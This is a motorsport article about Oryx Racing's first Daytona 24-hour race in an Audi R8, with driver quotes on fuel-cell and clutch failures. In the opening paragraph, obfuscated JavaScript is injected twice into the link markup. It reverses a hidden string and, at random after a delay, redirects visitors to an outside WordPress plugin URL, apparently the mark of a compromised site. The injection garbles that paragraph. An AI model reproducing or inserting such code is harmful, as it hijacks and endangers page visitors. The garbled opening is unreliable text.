The team’s first step down this inevitably rocky road came at the season opening $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/onthetrack/daytona-rolex-24-the-chequered-flag/” target=”_blank”>Rolex24 at Daytona International Speedway. Following a deal with Audi, Oryx Racing would compete in a race-spec R8, which ran for the first time at the ‘$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/onthetrack/oryx-racing-uae-motorsport-daytona-bound/” target=”_blank”>Roar Before The 24’ shakedown. Unliveried. And right after its delivery.
“Preparation time was very short and we didn’t have a good chance to do any significant testing. We had two days, and we’d have liked to have another two, but that’s just the way it is. But even though it was late, it was generally a very reliable car.”
Indeed. So impressive was the R8 straight out of the crate that Oryx driver Steven Kane – with whom Al Masaood shared ALMS driving duties last season – qualified 15th in class out of 46, in a car that had barely turned a wheel in anger.
“It was a great qualifying effort by Steven, and that really got the ball rolling. But our goal stayed the same, and that was to finish. It’s a tough race. You’ve just got to…it takes time to learn it. People still say after multiple times of running the Daytona 24hrs that they still have things to learn. It’s definitely a challenge.”
This lesson struck quickly for early runner Kane, who glided to a halt on-track at the two-hour mark, the Audi’s fuel tank completely dry.
“The problem was that the fuel was running out too quickly,” continues Al Masaood. “We’re now changing our fuel cell to make it larger, but we ended up having 30 or 40-something minute stints unlike the normal hour and a half or two hours. For one driver to make that many fuel stops is very frustrating, and it’s not good for racing. It spoils your momentum.”
Recurrent fuel stops significantly reduced the team’s chances of a debut class podium at Daytona, with major clutch issues at mid-point all but burying them. Several times full-course cautions were thrown as the #74 Audi limped to a halt on-track, and by mid-point, the team languished at the tail of the field.
“We soon realised that the clutch wouldn’t last the duration of the race. Audi have resolved that now and we won’t see those problems again, but there were other minor issues that were all related to the clutch. And that was quite frustrating. It lost us so much time. These little things would only cost us an extra three or four minutes to fix had they not been related to the clutch. We probably wouldn’t have considered them a problem.”
